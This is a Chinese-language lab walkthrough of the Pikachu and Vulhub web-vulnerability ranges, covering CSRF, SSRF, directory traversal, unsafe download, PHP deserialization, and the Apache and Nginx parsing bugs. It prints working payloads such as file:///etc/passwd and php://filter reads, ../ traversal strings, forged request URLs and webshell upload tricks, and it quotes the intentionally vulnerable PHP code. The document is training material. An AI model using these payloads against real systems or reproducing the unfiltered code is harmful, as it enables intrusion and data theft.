Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为”one click”攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。

这里列举一个场景解释一下,希望能够帮助你理解。

场景需求:

小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。

先看下大白是如何修改自己的密码的:
登录---修改会员信息,提交请求---修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。 
因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
--对敏感信息的操作增加安全的token;
--对敏感信息的操作增加安全的验证码;
--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

个人看完后,感觉条件比较苛刻,并且需要知道传参变量的含义。

CSRF(get)

题目给了很多账号,我们先随便登录一个然后抓个包。

这时候就可以登录另一个号,然后打开下面的链接,就可以在另一个号实现修改信息的效果。

先登录grady的号,信息如下。

姓名:grady

性别:boy

手机:13676765545

住址:nba hs

另外打开url后
邮箱:grady@pikachu.com
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit
信息被修改。

姓名:grady

性别:boy

手机:18626545453

住址:chain

邮箱:vince@pikachu.com

CSRF(post)

传参方式变了,bp先抓个包。

然后就是生成攻击方式的问题了,由于不是get传参,是post传参,没法直接用url,需要写一个html文件bp的

这时候我们可以利用Generate CSRF PoC功能生成一个html文件,然后将其挂在攻击机开的http服务中。然后让目标去访问这个html文件。


然后在攻击机上起服务,我这里是直接在本地弄了个post.html

先登录一个号。然后访问http://127.0.0.1/post.html。

信息被修改。

CSRF Token

还是先抓个包看看。

在请求中添加了Token。

Token的定义:Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。

每次抓包都会发现Token变了。说明Token的生成是随机的,无法构造url,所以这个题应该主要是在讲如何防止CSRF。

但是后面发现这些提交都存在储存型xss漏洞,所以完全可以自己获得cookie,然后进行修改。

SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

产生漏洞的函数。

file_get_contents()
fsockopen()
curl_exec()

SSRF(curl)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

//payload:
//file:///etc/passwd 读取文件
//http://192.168.1.15:22 根据banner返回,错误提示,时间延迟扫描端口

if(isset($_GET['url']) && $_GET['url'] != null){

//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;

使用了curl_exec,并且没将CURLOPT_RETURNTRANSFER 设置成 1,能将内容输出到网页,造成SSRF。

利用方式

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:80

可以用来泄露一些服务器的端口的信息。

SSRF(file_get_contents)

file_get_contents() 函数把整个文件读入一个字符串中。

1
2
3
4
5
6
7
8

//读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
//内网请求:http://x.x.x.x/xx.index
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}

读取了文件,并且打印出来。

读取文件。

http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///D://1.txt

读取文件并转base64编码。

http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=D://1.txt

../../目录遍历

在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。

看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。

简单说就是类似于文件包含,不过是可以通过../进行文件夹上级的文件访问。而且文件包含如果没对目录遍历进行过滤也是可以进行访问上级的文件的。

目录遍历

随便点击一个,url如下。

http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php

所以可以构造下面的playload。

http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../../../../../1.txt

这里根据自己文件路径而定。

Unsafe Filedownload

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。

此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。

所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!

都类似于文件包含,目录遍历,SSRF中的file_get_contents,对前端传入的文件进行一个判断,导致可以访问服务器中的敏感文件。

这个就是不但可以访问,而且还能下载下来。

不安全的文件下载

点击头像进行下载,我们看下载的url。

127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../../1.txt

然后php源码也是没有过滤。

简单构造下。

http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../../1.txt

就可以下载服务器中的文件了。

php反序列化

先了解两个函数。

PHP serialize() 函数

作用:serialize() 函数用于序列化对象或数组,并返回一个字符串。serialize() 函数用于序列化对象或数组,并返回一个字符串。

例子:

<?php
$sites = array('Google', 'Runoob', 'Facebook');
$serialized_data = serialize($sites);
echo  $serialized_data . PHP_EOL;
?>


a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}

PHP unserialize() 函数

作用:unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

<?php
$str = 'a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
?>


Array
(
    [0] => Google
    [1] => Runoob
    [2] => Facebook
)

当我们可以控制反序列化的参数时,且后台调用了一些魔法函数的时候,就可能造成漏洞,魔法函数是指在特定的情况下被调用的函数。

常见魔法函数

__construct()      当一个对象创建时被调用
__destruct()       当一个对象销毁时被调用
__toString()       当一个对象被当作一个字符串使用
__sleep()          在对象在被序列化之前运行
__wakeup           将在序列化之后立即被调用
__call()           在对象上下文中调用不可访问的方法时触发
__callStatic()     在静态上下文中调用不可访问的方法时触发
__get()            用于从不可访问的属性读取数据时
__set()            用于将数据写入不可访问的属性
__isset()          在不可访问的属性上调用isset()或empty()触发
__unset()          在不可访问的属性上使用unset()时触发
__invoke()         当脚本尝试将对象调用为函数时触发
__autoload()       尝试加载未定义的类时触发
__clone()          当对象复制完成时触发

php反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}


//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}

}

可以看到,创建了一个类,并且里面有一个魔法函数__construct,当有对象被创建时就会执行。并且我们提交的参数是可以反序列化的,所以我们可以创建一个类,并将参数设置成恶意代码,这样这个类被反序列化创建出来的时候就会echo打印,造成xss漏洞。

playload

O:1:"S":1:{s:4:"test";s:36:"<script>alert('The_Itach1')</script>";}

中间件漏洞

搭建靶场Vulhub,https://blog.csdn.net/weixin_45744814/article/details/120185420

换源:https://blog.csdn.net/weinipangbai/article/details/108589571

vim /etc/docker/daemon.json

{
    "registry-mirrors": ["https://nfesww3w.mirror.aliyuncs.com"]

    #https://nddt8zfh.mirror.aliyuncs.com
}

Apache

Apache是当前使用最广泛的Web服务器。Web服务器一般指网站服务器,是指驻留于因特网上某种类型计算机的程序,可以处理浏览器等Web客户端的请求并返回相应响应,也可以放置网站文件,让全世界浏览;可以放置数据文件,让全世界下载。

Apache httpd 多后缀解析漏洞

Apache httpd

httpd是Apache超文本传输协议(HTTP)服务器的主程序。被设计为一个独立运行的后台进程,它会建立一个处理请求的子进程或线程的池。

漏洞产生原理:

Apache httpd支持多后缀解析,比如说1.php.jpg.png。其会从右向左进行识别后缀,直到找到可识别后缀,然后进行解析。到这里实际上都没什么问题,但是如果运维人员在配置文件给.php添加了处理器,例如下面

AddHandler application/x-httpd-php .php
#对带有php后缀的文件,一律按php文件解析。

是不是感觉有点像文件上传漏洞的.htaccess配置文件。

练习,Vulhub的apache_parsing_vulnerability。

上传一句话木马,文件名称1.php.jpg。

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

<?php

if (!empty($_FILES)):

$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
die('Unsupported filetype uploaded.');
}

$new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name'];
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
die('Error uploading file - check destination is writeable.');
}

die('File uploaded successfully: ' . $new_name);

else:
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
<?php
endif;

白名单过滤。

Apache httpd 换行解析漏洞(CVE-2017-15715)

漏洞原理,Apache httpd过滤不完善,将1.php%0A仍当做php文件解析,同时能过php黑名单过滤。

类似于系统命名绕过,但是问题出在Apache httpd。

影响版本:2.4.0~2.4.29

靶场练习:CVE-2017-15715

环境中没有上传文件的html代码,需要自己编写一个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

<html>

<head><meta charset="utf-8"></head>

<body>

<form action method="post" enctype="multipart/form-data">

<label for="file">文件名:</label>

<input type="file" name="file" id="file"><br>

<input type="text" name="name" <br>

<input type="submit" name="submit" value="提交">

</form>

</body>

</html>

然后f12编辑,name需要我们自己输入。

bp抓包添加%0a结尾。

这时候访问/test.php%0a,就会出现phpinfo的内容,但是奇怪的是,不知道文件被上传到哪去了。

修复的话就是使用$_FILES[‘file’][‘name’],会将name的换行符直接去掉。

Nginx

Nginx(engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、简单的配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。

Nginx是一款轻量级的Web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。

其特点是占有内存少,并发能力强,事实上nginx的并发能力在同类型的网页服务器中表现较好,中国大陆使用nginx网站用户有:百度、京东、新浪、网易、腾讯、淘宝等。

文件名逻辑漏洞(CVE-2013-4547)

vulhub靶场可以复现。

漏洞原理:

Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析。靶场中的代码如下。

worker_processes  1;

events {
    worker_connections  1024;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;
        root   html;
        index  index.php;

        charset utf-8;

        location ~ \.php$ {
           root           html;
           include        fastcgi_params;

           fastcgi_pass   php:9000;
           fastcgi_index  index.php;
           fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
           fastcgi_param  DOCUMENT_ROOT /var/www/html;
        }
    }
}

一般情况下,只有php文件才会发送到fastcgi解析。

主要是错误的解析了请求的url的问题,题目源码是黑名单,所以可以上传jgp等文件,并且linux下保存的文件是可以带空格的。如果我们的url是1.jpg\0x20\0x00.php,就可以匹配上正则.php$(意思就是结尾的字符串是.php,但是比较奇怪怎么匹配上的),从而可以进入Location,然后发送给fastcgi当做php解析,但是真实的文件名称是1.jpg\0x20。

影响版本:

Nginx 0.8.41 ~ 1.4.3
Nginx 1.5.0 ~ 1.5.7

复现过程:

上传webshell,jpg结尾,然后bp抓包,在文件名后面添加空格。

访问/uploadfiles/1.jpg…php,修改..为\x20\x00。

然后发现成功执行webshell的内容。

Nginx中的解析漏洞

漏洞原理:

Nginx的配置问题,当我们采取/1.jpg/xxx.php的url时,由于是.php后缀,Nginx便会当做php文件处理,然后fastcgi处理时发现xxx.php不存在,然后php.ini配置文件的cgi.fix_pathinfo=1,作用是修复路径,简单理解就是当前路径文件不存在,就去掉。例如“/aaa.xxx/bbb.yyy/ccc.zzz”,ccc.zzz不存在就变成“/aaa.xxx/bbb.yyy”,然后如果bbb.yyy再不存在就变成“/aaa.xxx”。所以我们的url会变成/1.jpg,然后将1.jpg当做php文件处理,前提是security.limit_extensions包括了jpg类型,但是老版本的php是没有这个配置的。

与版本无关,主要是配置问题。

修复漏洞:

cgi.fix_pathinfo=0 

security.limit_extensions = .php //只允许php文件才可以执行。

复现过程。

靶场中已经有一个jpg,并且也是php低版本,所以直接加/xxx.php即可。

####